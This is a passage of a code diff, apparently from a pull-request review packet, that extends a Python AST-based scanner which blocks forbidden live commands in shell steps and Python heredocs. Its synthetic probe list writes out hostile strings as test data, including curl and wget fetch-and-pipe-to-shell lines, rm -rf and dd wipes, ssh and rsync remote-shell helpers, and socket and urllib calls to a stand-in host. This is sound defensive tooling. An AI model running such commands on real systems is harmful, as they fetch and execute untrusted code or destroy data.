parents) + ): if ( - isinstance(first, ast.Constant) - and first.value == "git" - and isinstance(second, ast.Constant) - and second.value == "update-index" - and isinstance(third, ast.Name) - and third.id == "flag" - and isinstance(fourth, ast.Constant) - and fourth.value in { - "source.go", - "experiments/g01-scaleset/source.go", - } + reviewed_python_git_sensitive_output(argument, tree, parents) + and not reviewed_python_git_query_capture(node, tree, parents) ): + return False + return reviewed_python_git_child_environment(node, tree, parents) + if reviewed_python_case_args(argument, tree): + return True + if reviewed_python_static_loop_binding(argument, tree): + return True + if isinstance(argument, (ast.List, ast.Tuple)): + prefix = [] + for element in argument.elts: + if not isinstance(element, ast.Constant) or not isinstance(element.value, str): + break + prefix.append(element.value) + if reviewed_python_synthetic_git_fixture(node, prefix, tree, parents): return True - if ( - isinstance(first, ast.Constant) - and first.value == "git" - and isinstance(second, ast.Constant) - and second.value == "config" - and isinstance(third, ast.Constant) - and third.value == "core.fsmonitor" - and isinstance(fourth, ast.Call) - and python_dotted_name(fourth.func) == "str" - and len(fourth.args) == 1 - and not fourth.keywords - and isinstance(fourth.args[0], ast.Name) - and fourth.args[0].id == "hook" - ): + if reviewed_python_dynamic_git_call(argument, tree, parents): return True + if isinstance(argument, ast.Name) and argument.id in literal_bindings: + return True + function_name = enclosing_python_function(node, parents) + if function_name not in reviewed_dynamic_function_names: + return False + if not reviewed_python_helper_definition(node, parents): + return False + if not reviewed_python_helper_launcher(node, parents): + return False + if isinstance(argument, ast.Starred): + argument = argument.value + if isinstance(argument, ast.Name): + return argument.id in reviewed_python_helper_allowed_argv.get(function_name, set()) return False -def reviewed_python_shell_body_expression(node, input_name): - """Accept only the two immutable, preflight-derived synthetic shell bodies.""" - if isinstance(node, ast.Constant): - return isinstance(node.value, str) - if isinstance(node, ast.Name): - allowed = { - "failure_probe": {"preflight"}, - "script": {"path_check", "first_loader"}, - } - return node.id in allowed.get(input_name, set()) or node.id == "marker" - if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add): - return reviewed_python_shell_body_expression(node.left, input_name) and reviewed_python_shell_body_expression( - node.right, input_name - ) - if not isinstance(node, ast.Call) or node.keywords: +reviewed_synthetic_git_fixture_argv = { + ("git", "init", "-q"), + ("git", "status", "--porcelain=v1"), + ("git", "add", "source.go"), + ("git", "add", "experiments/g01-scaleset/source.go"), + ( + "git", + "-c", + "user.name=probe", + "-c", + "user.email=probe@example.invalid", + "commit", + "-q", + "-m", + "source", + ), + ( + "git", + "update-index", + "--no-skip-worktree", + "--no-assume-unchanged", + "source.go", + ), + ( + "git", + "update-index", + "--no-skip-worktree", + "--no-assume-unchanged", + "experiments/g01-scaleset/source.go", + ), +} + + +def temporary_directory_call(node): + """Recognize the reviewed literal TemporaryDirectory constructor forms.""" + if not isinstance(node, ast.Call) or node.args or node.keywords: return False dotted = python_dotted_name(node.func) - if dotted == "str": - return ( - len(node.args) == 1 - and isinstance(node.args[0], ast.Name) - and node.args[0].id == "marker" - ) - if dotted != "shlex.quote" or len(node.args) != 1: - return False + if dotted in {"tempfile.TemporaryDirectory", "TemporaryDirectory"}: + return True return ( - isinstance(node.args[0], ast.Call) - and python_dotted_name(node.args[0].func) == "str" - and len(node.args[0].args) == 1 - and not node.args[0].keywords - and isinstance(node.args[0].args[0], ast.Name) - and node.args[0].args[0].id == "marker" + isinstance(node.func, ast.Attribute) + and node.func.attr == "TemporaryDirectory" + and isinstance(node.func.value, ast.Call) + and isinstance(node.func.value.func, ast.Name) + and node.func.value.func.id == "__import__" + and len(node.func.value.args) == 1 + and isinstance(node.func.value.args[0], ast.Constant) + and node.func.value.args[0].value == "tempfile" + and not node.func.value.keywords ) -def reviewed_python_synthetic_shell_input(node, value, tree, parents): - """Inspect, then allow only named shell bodies built inside temp fixtures.""" - if value != ["/bin/bash"]: - return False - fixture_binding = temporary_directory_binding(node, parents) - if fixture_binding is None: - return False - keywords = {keyword.arg: keyword.value for keyword in node.keywords} - input_node = keywords.get("input") - if not isinstance(input_node, ast.Name) or input_node.id not in { - "failure_probe", - "script", - }: - return False - if set(keywords) - {"input", "text", "env", "stdout", "stderr", "check"}: - return False - if not ( - isinstance(keywords.get("text"), ast.Constant) - and keywords["text"].value is True - and python_dotted_name(keywords.get("stdout")) == "subprocess.PIPE" - and python_dotted_name(keywords.get("stderr")) == "subprocess.PIPE" - ): - return False - assignments = [] - for candidate in ast.walk(tree): - if not isinstance(candidate, ast.Assign): - continue - if any( - isinstance(target, ast.Name) and target.id == input_node.id - for target in candidate.targets - ): - assignments.append(candidate) - if len(assignments) != 1: - return False - assignment = assignments[0] - if temporary_directory_binding(assignment, parents) != fixture_binding: - return False - return reviewed_python_shell_body_expression(assignment.value, input_node.id) - - -def python_computed_callable_violation(tree): - """Reject calls whose callable target is returned by another call.""" - for node in ast.walk(tree): - if isinstance(node, ast.Call) and isinstance(node.func, ast.Call): - return ( - "Python heredoc contains an unresolved computed callable target " - f"on line {node.lineno}" - ) - return None - - -def python_command_reference(node, modules, functions): - """Resolve a launcher referenced as a value, not only as an immediate call.""" - if not isinstance(node, (ast.Name, ast.Attribute)): - return None - resolved = python_resolved_name(node, modules, functions) - if resolved in python_command_functions: - return "resolved", resolved - dotted = python_dotted_name(node) - if ( - ( - isinstance(node, ast.Name) - and node.id in functions - and functions[node.id] is None - and node.id.casefold() in { - name.casefold() for name in python_command_leaf_names - } - ) - or ( - isinstance(node, ast.Attribute) - and - dotted is not None - and dotted.rsplit(".", 1)[-1] in python_command_leaf_names - ) - ): - return "unresolved", dotted or node.id - return None - - -def python_callback_command_violation(tree, modules, functions): - """Reject command-capable launchers supplied to higher-order calls.""" - parents = { - child: parent - for parent in ast.walk(tree) - for child in ast.iter_child_nodes(parent) - } - for node in ast.walk(tree): - if not isinstance(node, ast.Call): - continue - values = list(node.args) + [keyword.value for keyword in node.keywords] - for value in values: - for candidate in ast.walk(value): - if ( - isinstance(parents.get(candidate), ast.Call) - and parents[candidate].func is candidate +def temporary_directory_binding(node, parents): + """Return the local binding only inside a literal TemporaryDirectory block.""" + parent = parents.get(node) + while parent is not None: + if isinstance(parent, (ast.With, ast.AsyncWith)): + for item in parent.items: + context = item.context_expr + if not ( + temporary_directory_call(context) + and isinstance(item.optional_vars, ast.Name) ): continue - reference = python_command_reference(candidate, modules, functions) - if reference is None and isinstance(candidate, ast.Call): - indirect = python_indirect_command(candidate, modules) - if indirect is not None: - reference = indirect - if reference is None: - continue - kind, name = reference - if kind == "unresolved": - return ( - "Python heredoc contains an unresolved command-capable " - f"callback/target {name!r} on line {candidate.lineno}" - ) - return ( - "Python heredoc passes command-capable launcher " - f"{name!r} as a callback/target on line {candidate.lineno}" - ) + return item.optional_vars.id + parent = parents.get(parent) return None -def python_open_aliases(tree): - """Resolve aliases of builtin/io open/open_code for path classification.""" - aliases = set() - assignments = [] - for node in ast.walk(tree): - if isinstance(node, ast.Assign): - assignments.extend((target, node.value) for target in node.targets) - elif isinstance(node, ast.AnnAssign) and node.value is not None: - assignments.append((node.target, node.value)) - elif isinstance(node, ast.NamedExpr): - assignments.append((node.target, node.value)) - elif isinstance(node, ast.ImportFrom) and node.module in {"builtins", "io"}: - for imported in node.names: - if imported.name in {"open", "open_code"}: - aliases.add(imported.asname or imported.name) - for _ in range(len(assignments) + 1): +def temporary_directory_bindings(node, tree, parents): + """Resolve only direct Path aliases of the active TemporaryDirectory binding.""" + binding = temporary_directory_binding(node, parents) + bindings = {binding} if binding is not None else set() + changed = True + while changed: changed = False - for target, value in assignments: - if not isinstance(target, ast.Name): + for candidate in ast.walk(tree): + if temporary_directory_binding(candidate, parents) != binding: continue - dotted = python_dotted_name(value) - is_open = dotted in {"builtins.open", "io.open", "io.open_code"} or ( - isinstance(value, ast.Name) and value.id in {"open", *aliases} - ) - if is_open and target.id not in aliases: - aliases.add(target.id) - changed = True - if not changed: - break - return aliases - - -def python_path_reader_aliases(tree): - """Resolve Path.read_text/read_bytes callable aliases to their receivers.""" - aliases = {} - assignments = [] - for node in ast.walk(tree): - if isinstance(node, ast.Assign): - assignments.extend((target, node.value) for target in node.targets) - elif isinstance(node, ast.AnnAssign) and node.value is not None: - assignments.append((node.target, node.value)) - elif isinstance(node, ast.NamedExpr): - assignments.append((node.target, node.value)) - for _ in range(len(assignments) + 1): - changed = False - for target, value in assignments: - if not isinstance(target, ast.Name): + if not isinstance(candidate, ast.Assign): continue - receiver = None - if isinstance(value, ast.Attribute) and value.attr in {"read_text", "read_bytes"}: - receiver = value.value - elif isinstance(value, ast.Name) and value.id in aliases: - receiver = aliases[value.id] - if receiver is not None and aliases.get(target.id) is not receiver: - aliases[target.id] = receiver - changed = True - if not changed: - break - return aliases + value = candidate.value + source = None + if isinstance(value, ast.Name): + source = value.id + elif ( + isinstance(value, ast.Call) + and python_dotted_name(value.func) in {"Path", "pathlib.Path"} + and len(value.args) == 1 + and not value.keywords + and isinstance(value.args[0], ast.Name) + ): + source = value.args[0].id + if source not in bindings: + continue + for target in candidate.targets: + if isinstance(target, ast.Name) and target.id not in bindings: + bindings.add(target.id) + changed = True + return bindings -def python_open_read_violation(tree, parents): - """Validate readable open paths before iteration/list/constructor consumers.""" - open_aliases = python_open_aliases(tree) - for node in ast.walk(tree): - if not isinstance(node, ast.Call): - continue - dotted = python_dotted_name(node.func) - if not ( - dotted in {"open", "io.open_code"} - or (isinstance(node.func, ast.Name) and node.func.id in open_aliases) - ): - continue - path = node.args[0] if node.args else next( - ( - keyword.value - for keyword in node.keywords - if keyword.arg in {"file", "path"} - ), - None, - ) - if path is None: - return f"Python open read path is unresolved on line {node.lineno}" - mode = node.args[1] if len(node.args) > 1 else next( - (keyword.value for keyword in node.keywords if keyword.arg == "mode"), - None, - ) - if mode is not None and isinstance(mode, ast.Constant) and isinstance(mode.value, str): - if any(flag in mode.value for flag in ("w", "a", "x", "+")): - continue - elif mode is not None: - return f"Python open read mode is unresolved on line {node.lineno}" - if not python_reviewed_read_path(path, tree, parents): - return ( - "Python readable open path is not reviewed before iteration/list/" - f"constructor consumption on line {node.lineno}" - ) - return None +def temporary_path_component_safe(value): + """Reject absolute and parent-traversing path components conservatively.""" + if not isinstance(value, str) or value.startswith("/"): + return False + normalized = value.replace("\\", "/") + return ".." not in normalized.split("/") -def inspect_python_heredoc(body, safe_marker): - try: - tree = ast.parse(body, filename="") - except SyntaxError as error: - return f"Python heredoc is not parseable: {error}" - modules, functions, unresolved_imports = python_import_bindings(tree) - if unresolved_imports: - return ( - "Python heredoc contains an unresolved command-capable star import " - "on line(s) " - + ",".join(str(line) for line in unresolved_imports) - ) - network_import_violation = python_network_import_violation(tree) - if network_import_violation: - return network_import_violation - import_path_mutation_violation = python_import_path_mutation_violation(tree) - if import_path_mutation_violation: - return import_path_mutation_violation - mappings = python_mapping_bindings(tree, modules, functions) - literal_bindings = python_literal_bindings(tree) - dynamic_bindings, unresolved_dynamic_bindings = python_dynamic_execution_bindings(tree) - parents = { - child: parent - for parent in ast.walk(tree) - for child in ast.iter_child_nodes(parent) - } - class_command_violation = python_class_command_attribute_violation( - tree, modules, functions - ) - if class_command_violation: - return class_command_violation - sensitive_read_violation = python_sensitive_read_violation(tree, parents) - if sensitive_read_violation: - return sensitive_read_violation - guarded_child_kwargs_violation = python_guarded_child_kwargs_violation( - tree, modules, functions - ) - if guarded_child_kwargs_violation: - return guarded_child_kwargs_violation - child_environment_violation = python_child_environment_violation( - tree, modules, functions, parents - ) - if child_environment_violation: - return child_environment_violation - computed_callable_violation = python_computed_callable_violation(tree) - if computed_callable_violation: - return computed_callable_violation - callback_command_violation = python_callback_command_violation( - tree, modules, functions - ) - if callback_command_violation: - return callback_command_violation - open_read_violation = python_open_read_violation(tree, parents) - if open_read_violation: - return open_read_violation - unknown_os_call_violation = python_unknown_os_call_violation(tree) - if unknown_os_call_violation: - return unknown_os_call_violation - filesystem_violation = python_filesystem_mutation_violation(tree, parents) - if filesystem_violation: - return filesystem_violation - signal_violation = python_process_signal_violation(tree, parents) - if signal_violation: - return signal_violation - indirect_execution_violation = python_indirect_execution_violation( - tree, parents, safe_marker - ) - if indirect_execution_violation: - return indirect_execution_violation - dynamic_calls = [] - for node in ast.walk(tree): - if not isinstance(node, ast.Call): - continue - dotted = python_dotted_name(node.func) - if dotted in python_network_functions: - return ( - "Python heredoc contains a network-capable call " - f"{dotted!r} on line {node.lineno}" - ) - dynamic_target = python_dynamic_execution_target( - node.func, dynamic_bindings, unresolved_dynamic_bindings - ) - if dynamic_target is not None: - if reviewed_python_exec_call(node, safe_marker, tree): - continue - if reviewed_python_import_call(node, safe_marker): - continue - return ( - "Python heredoc contains a dynamic execution primitive " - f"{dynamic_target!r} on line {node.lineno}" - ) - mapping = python_mapping_command(node.func, mappings, modules, functions) - indirect = python_indirect_command(node.func, modules) - if mapping is not None: - mapping_kind, mapping_value = mapping - if mapping_kind == "unresolved": - return ( - "Python heredoc contains an unresolved mapping-based " - "command-capable call through " - f"{mapping_value!r} on line {node.lineno}" - ) - if mapping_kind == "safe": +def reviewed_source_snapshot_path(node, tree, parents, seen=None): + """Prove paths belong to the wrapper's private immutable source snapshot.""" + if seen is None: + seen = set() + if node is None or id(node) in seen: + return False + seen.add(id(node)) + current = node + while current is not None and not isinstance( + current, (ast.FunctionDef, ast.AsyncFunctionDef) + ): + current = parents.get(current) + if current is None or current.name != "create_immutable_source_snapshot": + return False + if isinstance(node, ast.Name) and node.id == "snapshot_root": + for candidate in ast.walk(current): + if not isinstance(candidate, ast.Assign): continue - resolved = mapping_value - elif indirect is not None: - indirect_kind, indirect_value = indirect - if indirect_kind == "unresolved": - return ( - "Python heredoc contains an unresolved indirect " - "command-capable call through " - f"{indirect_value!r} on line {node.lineno}" - ) - resolved = indirect_value - else: - call_target_kind, resolved = python_call_target( - node.func, modules, functions - ) - if call_target_kind == "unresolved": - return ( - "Python heredoc contains an unresolved command-capable " - f"__call__ target {resolved!r} on line {node.lineno}" - ) - if dotted and dotted in functions and resolved is None: - if ( - dotted == "value" - and any( - isinstance(parent, (ast.FunctionDef, ast.AsyncFunctionDef)) - and parent.name == "python_literal_bindings" - for parent in _python_parent_chain(node, parents) - ) + if not any( + isinstance(target, ast.Name) + and target.id == "snapshot_root" + for target in candidate.targets ): continue - return ( - "Python heredoc contains an unresolved command-capable call " - f"{dotted!r} on line {node.lineno}" - ) - if resolved not in python_command_functions: - if dotted and dotted.rsplit(".", 1)[-1] in python_command_leaf_names: - return ( - "Python heredoc contains an unresolved command-capable call " - f"{dotted!r} on line {node.lineno}" - ) - continue - argument = python_command_argument(node) - literal = python_literal_command(argument) - if literal is None and isinstance(argument, ast.Name): - bound = literal_bindings.get(argument.id) - if isinstance(bound, str): - literal = "shell", bound - elif isinstance(bound, list) and bound: - literal = "argv", bound - if literal is None: - if reviewed_python_dynamic_call( - node, argument, tree, parents, literal_bindings + value = candidate.value + if not ( + isinstance(value, ast.Call) + and python_dotted_name(value.func) in {"Path", "pathlib.Path"} + and len(value.args) == 1 + and not value.keywords + and isinstance(value.args[0], ast.Attribute) + and value.args[0].attr == "name" + and isinstance(value.args[0].value, ast.Name) + and value.args[0].value.id == "snapshot_directory" ): continue - dynamic_calls.append(node.lineno) - continue - kind, value = literal - if kind == "argv-dynamic": - if reviewed_python_dynamic_call( - node, argument, tree, parents, literal_bindings + for source_assignment in ast.walk(current): + if not isinstance(source_assignment, ast.Assign): + continue + if any( + isinstance(target, ast.Name) + and target.id == "snapshot_directory" + for target in source_assignment.targets + ) and temporary_directory_call(source_assignment.value): + return True + return False + if isinstance(node, ast.Name): + for candidate in ast.walk(current): + if not isinstance(candidate, ast.Assign): + continue + if not any( + isinstance(target, ast.Name) and target.id == node.id + for target in candidate.targets ): continue - dynamic_calls.append(node.lineno) - continue - if kind == "argv" and reviewed_python_synthetic_git_fixture( - node, value, tree, parents - ): - continue - if kind == "argv" and reviewed_python_synthetic_shell_input( - node, value, tree, parents - ): - continue - segments = shell_token_segments(value) if kind == "shell" else [value] - for segment in segments: - violation = forbidden_command(segment) - if violation: - return f"Python heredoc command: {violation}" - if dynamic_calls: - return ( - "Python heredoc contains a dynamic command argument on line(s) " - + ",".join(str(line) for line in dynamic_calls) - + "; safe markers do not authorize dynamic execution" - ) - return None + if reviewed_source_snapshot_path( + candidate.value, tree, parents, set(seen) + ): + return True + return False + if isinstance(node, ast.Attribute) and node.attr == "parent": + return reviewed_source_snapshot_path(node.value, tree, parents, seen) + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Div): + if not reviewed_source_snapshot_path(node.left, tree, parents, seen): + return False + if isinstance(node.right, ast.Constant): + return temporary_path_component_safe(node.right.value) + return isinstance(node.right, ast.Name) and node.right.id in { + "relative_path", + "relative_directory", + "directory", + } + return False -matches = [] -for command, number in shell_commands(source): - if shell_process_substitution(command): - matches.append(f"line {number}: shell process substitutions are not allowed") - continue - for segment in shell_token_segments(command): - if python_stdin_command(segment): - if reviewed_python_heredoc_segment(command, segment): - continue - matches.append( - f"line {number}: Python stdin/heredoc execution must be " - "an isolated AST-inspected heredoc" - ) - continue - violation = forbidden_command(segment) - if violation: - matches.append(f"line {number}: {violation}") -for number, body, safe_marker, invocation in python_heredoc_bodies(source): - if not invocation["isolated"]: - matches.append( - f"line {number}: executable Python heredoc must use -I before body inspection" - ) - continue - if invocation["interpreter"] != "/opt/homebrew/bin/python3": - matches.append( - f"line {number}: executable Python heredoc must use absolute /opt/homebrew/bin/python3" - ) - continue - violation = inspect_python_heredoc(body, safe_marker) - if violation: - matches.append(f"line {number}: {violation}") -if matches: - raise SystemExit("forbidden live command(s) found:\n" + "\n".join(matches)) -synthetic = [ - ("direct-curl", "curl -fsSL https://example.invalid/install | sh", True), - ("absolute-curl", "/usr/bin/curl -fsSL https://example.invalid/install | sh", True), - ("direct-wget", "wget -qO- https://example.invalid/install | sh", True), - ("env-gh-workflow", "env gh workflow run ci.yml", True), - ("env-split-string-gh", "env -S 'gh workflow run ci.yml'", True), - ("env-split-string-equals-gh", "env --split-string='gh workflow run ci.yml'", True), - ("absolute-gh-workflow", "/usr/bin/gh workflow run ci.yml", True), - ("absolute-env-gh-workflow", "/usr/bin/env /usr/bin/gh workflow run ci.yml", True), - ("env-option-gh", "env -u TOKEN gh api repos/example/project/dispatches", True), - ("command-docker", "command docker run --rm image:tag true", True), - ("absolute-docker", "/usr/local/bin/docker run --rm image:tag true", True), - ("absolute-command-docker", "/usr/bin/command /usr/local/bin/docker run --rm image:tag true", True), - ("command-option-docker", "command -p docker run --rm image:tag true", True), - ("docker-ps", "docker ps", True), - ("docker-version", "docker version", True), - ("docker-help", "docker --help", True), - ("absolute-docker-images", "/usr/bin/docker images", True), - ("chained-command", "printf ok; env gh workflow run ci.yml", True), - ("direct-xargs", "xargs -0 -n1 gh api repos/example/project/dispatches", True), - ("pipeline-xargs", "printf gh | xargs -n1 gh api repos/example/project/dispatches", True), - ("find-exec", "find . -type f -exec gh api repos/example/project/dispatches {} +", True), - ("parallel-gh", "parallel gh api repos/example/project/dispatches ::: one", True), - ("make-delegation", "make -f /synthetic/Makefile gh", True), - ("git-difftool-extcmd", "git difftool --extcmd 'gh workflow run ci.yml'", True), - ("git-difftool-extcmd-equals", "git difftool --extcmd=gh workflow run ci.yml", True), - ("git-mergetool-tool", "git mergetool --tool=gh", True), - ("absolute-env-git-difftool", "env /usr/bin/git difftool --extcmd gh workflow run ci.yml", True), - ("git-diff-ext-diff", "git diff --ext-diff", True), - ("git-diff-ext-diff-equals", "git diff --ext-diff=true", True), - ("git-external-diff-environment", "GIT_EXTERNAL_DIFF=/synthetic/helper git diff", True), - ("git-diff-external-config", "git -c diff.external=/synthetic/helper diff", True), - ("git-config-diff-external", "git config diff.external /synthetic/helper", True), - ("git-config-env-alias", "git --config-env alias.ship=GIT_ALIAS diff", True), - ("git-config-env-alias-equals", "git --config-env=alias.ship=GIT_ALIAS diff", True), - ("git-diff-no-ext-diff-safe", "git diff --no-ext-diff", False), - ("git-show-textconv", "git show --textconv HEAD:source.go", True), - ("git-show-no-textconv", "git show --no-textconv HEAD:source.go", False), - ("awk-system", "awk 'BEGIN { system(\"gh api repos/example/project\") }'", True), - ("awk-getline", "awk 'BEGIN { \"gh api repos/example/project\" | getline value }'", True), - ("awk-safe-print", "awk 'BEGIN { print \"safe\" }'", False), - ("rm-broad-cleanup", "rm -rf /tmp/reviewed-packet", True), - ("rm-owned-temp", "rm -rf \"$owned_tmp\"", True), - ("killall-broad", "killall runnerd", True), - ("pkill-broad", "pkill -f runnerd", True), - ("dd-destructive", "dd if=/dev/zero of=/tmp/reviewed-packet", True), - ("rmdir-broad", "rmdir /tmp/reviewed-packet", True), - ("nested-xargs", "bash -c 'printf gh | xargs -n1 gh api repos/example/project/dispatches'", True), - ("limactl", "limactl shell default true", True), - ("absolute-limactl", "/opt/homebrew/bin/limactl shell default true", True), - ("security", "security find-identity -v", True), - ("absolute-security", "/usr/bin/security find-identity -v", True), - ("launchctl", "launchctl kickstart system/example", True), - ("absolute-launchctl", "/bin/launchctl kickstart system/example", True), - ("gh-api", "gh api repos/example/project/dispatches", True), - ("gh-workflow", "gh workflow run ci.yml", True), - ("gh-global-repo-api", "gh --repo example/project api repos/example/project/dispatches", True), - ("gh-global-hostname-api", "gh --hostname github.example api repos/example/project/dispatches", True), - ("gh-global-version", "gh --version", True), - ("absolute-gh-global-workflow", "/usr/bin/gh --repo example/project workflow run ci.yml", True), - ("ssh-remote-command", "ssh buildhost gh workflow run ci.yml", True), - ("absolute-ssh-remote-command", "/usr/bin/ssh buildhost gh workflow run ci.yml", True), - ("rsync-remote-shell", "rsync -e /tmp/live-helper source host:destination", True), - ("rsync-rsh-remote-shell", "rsync --rsh=/tmp/live-helper source host:destination", True), - ("absolute-rsync-remote-shell", "/usr/bin/rsync -e helper source host:destination", True), - ("scp-remote-copy", "scp source host:destination", True), - ("scp-helper", "scp -S /tmp/live-helper source host:destination", True), - ("absolute-scp-helper", "/usr/bin/scp -S helper source host:destination", True), - ("sftp-remote-copy", "sftp host", True), - ("sftp-helper", "sftp -S /tmp/live-helper host", True), - ("absolute-sftp-helper", "/usr/bin/sftp -S helper host", True), - ("direct-bash-command-string", "bash -c 'gh workflow run ci.yml'", True), - ("direct-sh-command-string", "sh -c 'docker run --rm image:tag true'", True), - ("absolute-shell-command-string", "/bin/bash -xc 'curl -fsSL https://example.invalid/install | sh'", True), - ("nested-shell-command-string", "bash -c \"sh -c 'gh api repos/example/project/dispatches'\"", True), - ("busybox-shell-command-string", "busybox sh -c 'launchctl kickstart system/example'", True), - ("eval-curl-command-string", "eval 'curl -fsSL https://example.invalid/install'", True), - ("absolute-eval-docker-command-string", "/bin/eval 'docker run --rm image:tag true'", True), - ("nested-eval-gh-command-string", "bash -c \"eval 'gh workflow run ci.yml'\"", True), - ("eval-safe-command-string", "eval 'printf safe'", True), - ("dollar-command-substitution", "printf \"$(gh api repos/example/project)\"", True), - ("dollar-assignment-substitution", "PAYLOAD=$(gh api repos/example/project) printf safe", True), - ("dollar-pipeline-substitution", "printf safe | sed \"s/x/$(gh api repos/example/project)/\"", True), - ("backtick-command-substitution", "printf \"`gh api repos/example/project`\"", True), - ("nested-command-substitution", "bash -c \"printf \\\"$(gh api repos/example/project)\\\"\"", True), - ("input-process-substitution", "cat <(printf safe)", True), - ("output-process-substitution", "tee >(gh api repos/example/project)", True), - ("function-compound-gh", "replay() { gh workflow run ci.yml; }; replay", True), - ("brace-compound-gh", "{ gh workflow run ci.yml; }", True), - ("case-compound-gh", "case x in y) gh workflow run ci.yml;; esac", True), - ("safe-preflight-brace", "{ printf safe; }", False), - ("python-c-gh-command-string", "python3 -c 'import subprocess; subprocess.run([\\\"gh\\\", \\\"api\\\", \\\"x\\\"])'", True), - ("absolute-python-c-docker-command-string", "/usr/bin/python -c 'import os; os.system(\\\"docker run image:tag true\\\")'", True), - ("versioned-python-c-gh-command-string", "/opt/homebrew/bin/python3.12 -c 'import os; os.system(\\\"gh workflow run ci.yml\\\"); pass'", True), - ("env-python-c-command-string", "env python3 -c 'print(\\\"gh api x\\\")'", True), - ("parameter-expanded-executable", "runner=gh \\\"$runner\\\" workflow run ci.yml", True), - ("prose-url", "https://example.invalid/docker run image:tag", True), - ("comment", "# docker run --rm image:tag true", False), - ("scanner-source", 'forbidden = "docker run"', True), - ("synthetic-fixture", 'fixture = "env gh workflow run ci.yml"', True), -] -for label, fixture, expected in synthetic: - observed = any( - forbidden_command(segment) is not None - for segment in shell_token_segments(fixture) - ) - if observed != expected: - raise SystemExit(f"synthetic forbidden-command probe failed: {label}") -safe_heredoc = "import subprocess\nsubprocess.run(command)\n" -if inspect_python_heredoc(safe_heredoc, True) is None: - raise SystemExit("dynamic marked Python heredoc was accepted") -for unsafe_heredoc in ( - 'import subprocess\nsubprocess.run(["gh", "api", "x"])\n', - 'import os\nos.system("docker version")\n', - 'import subprocess as sp\nsp.run(["gh", "api", "x"])\n', - 'import subprocess\nlaunch = subprocess.run\nlaunch(["gh", "api", "x"])\n', - 'import subprocess\ngetattr(subprocess, "run")(["gh", "api", "x"])\n', - 'import os\nos.__dict__["system"]("docker version")\n', - 'import subprocess\ngetattr(subprocess, launcher_name)(command)\n', - 'import os\nos.__dict__[launcher_name](command)\n', - 'from subprocess import run\nrun(["gh", "api", "x"])\n', - 'from os import system\nsystem("docker version")\n', - 'import subprocess\nsubprocess.getoutput("gh workflow run ci.yml")\n', - 'import subprocess\nsubprocess.getstatusoutput("gh workflow run ci.yml")\n', - 'import urllib.request\nurllib.request.urlopen("https://example.invalid")\n', - 'from requests import get\nget("https://example.invalid")\n', - 'import socket\nsocket.create_connection(("example.invalid", 443))\n', - 'import pty\npty.spawn(["gh", "api", "x"])\n', - 'import os\nos.execvp("gh", ["gh", "workflow", "run", "ci.yml"])\n', - 'import synthetic as launcher\nlauncher.getoutput(command)\n', -): - if inspect_python_heredoc(unsafe_heredoc, False) is None: - raise SystemExit("unsafe Python heredoc was accepted") -print("forbidden-live-command synthetic probes: passed; direct/wrapped fetcher, every gh invocation including global-flag and absolute forms, every Docker invocation, ssh/rsync/scp/sftp remote-copy launchers, command-delegating xargs/find/parallel/make forms, Git difftool/mergetool, --extcmd/--tool/--ext-diff, GIT_EXTERNAL_DIFF, diff.external and --config-env alias delegation forms, env split-string/operand forms, unsupported function/brace/case compounds, shell substitutions/process substitutions, limactl/security/launchctl, eval, AST-inspected safe/unsafe Python heredocs including versioned -c/getoutput/getstatusoutput/execvp/pty.spawn, getattr/__dict__ indirect launchers and unresolved launcher aliases, parameter-expanded executables, and direct/nested bash/sh -c forms rejected; prose/URLs/comments/scanner source/fixtures ignored") -print("forbidden-live-command boundary probes: passed; dynamic safe-marker commands, awk system/getline, network-capable Python urllib/requests/socket, Git --textconv, rm cleanup and broad kill/dd forms rejected while literal safe boundaries remain accepted") -print("forbidden-live-command scan: passed; executable shell prescriptions contain no forbidden live App/runner/Docker/Lima/Keychain/launchd/workflow/fetch command") -PY -``` +python_filesystem_mutating_methods = { + "chmod", + "chown", + "copy", + "copy_into", + "hardlink_to", + "lchmod", + "link_to", + "mkdir", + "makedirs", + "move", + "move_into", + "open", + "rename", + "replace", + "rmdir", + "symlink_to", + "touch", + "unlink", + "write_bytes", + "write_text", +} +python_filesystem_mutating_functions = { + "os.chmod", + "os.chflags", + "os.chown", + "os.fchmodat", + "os.fchownat", + "os.lchmod", + "os.lchflags", + "os.lchown", + "os.link", + "os.makedirs", + "os.mkdir", + "os.mkfifo", + "os.mknod", + "os.remove", + "os.rename", + "os.replace", + "os.rmdir", + "os.symlink", + "os.setxattr", + "os.lsetxattr", + "os.removexattr", + "os.lremovexattr", + "os.truncate", + "os.unlink", + "os.utime", + "os.utime_ns", + "shutil.copy", + "shutil.copy2", + "shutil.copyfile", + "shutil.copymode", + "shutil.copystat", + "shutil.copytree", + "shutil.make_archive", + "shutil.move", + "shutil.rmtree", + "shutil.unpack_archive", +} -The forbidden-live-command scan and its static synthetic probes exited 0; all -direct, wrapped and command-delegating forms were rejected without execution, -including xargs, find, parallel, make and rsync remote-shell forms that could -otherwise hide a downstream `gh`/live command, while prose, URLs, comments, scanner source and -fixtures were ignored. No live operation, workflow replay, credential access -or destructive cleanup command was introduced. +python_reviewed_os_calls = { + "os.close", + "os.environ.clear", + "os.environ.get", + "os.environ.items", + "os.environ.pop", + "os.environ.update", + "os.fdopen", + "os.fork", + "os.fsdecode", + "os.getenv", + "os.getpgrp", + "os.getpid", + "os.kill", + "os.killpg", + "os._exit", + "os.path", + "os.pipe", + "os.read", + "os.set_blocking", + "os.waitpid", + "os.write", +} -No check is claimed against an unrecorded SHA. The staged correction diff is -distinct from the cumulative PR #78 diff; the cumulative history still -includes the independent driver correction from -`7ce053380003c9260f46bf93ea118893b95f01e7` and team-review routing corrections -from `f59a30532bfdc62876065dcf8b4997520606e6a6`, which remain outside this -staged change. -## Historical Codex finding ledger +def python_assigned_module_names(tree, module): + """Follow direct and positional-destructured module assignment aliases.""" + names = { + alias.asname or alias.name + for node in ast.walk(tree) + if isinstance(node, ast.Import) + for alias in node.names + if alias.name == module + } -The following stale/outdated root findings were omitted from the earlier -correction paragraphs. Each row preserves the original finding URL and the -immutable source commit where Codex observed it; disposition cites the packet -change that reproduced and fixed the gap, not staleness alone. The residual -selector-matching finding is resolved by the reusable wrapper above, which now -guards every runnable long selector before executing its original command. + def bind(target, value): + if isinstance(target, ast.Name) and isinstance(value, ast.Name): + if value.id in names and target.id not in names: + names.add(target.id) + return True + if isinstance(target, (ast.Tuple, ast.List)) and isinstance(value, (ast.Tuple, ast.List)): + if len(target.elts) == len(value.elts): + return any([bind(part, source) for part, source in zip(target.elts, value.elts)]) + return False -| Finding and immutable source | Reproduction and disposition | 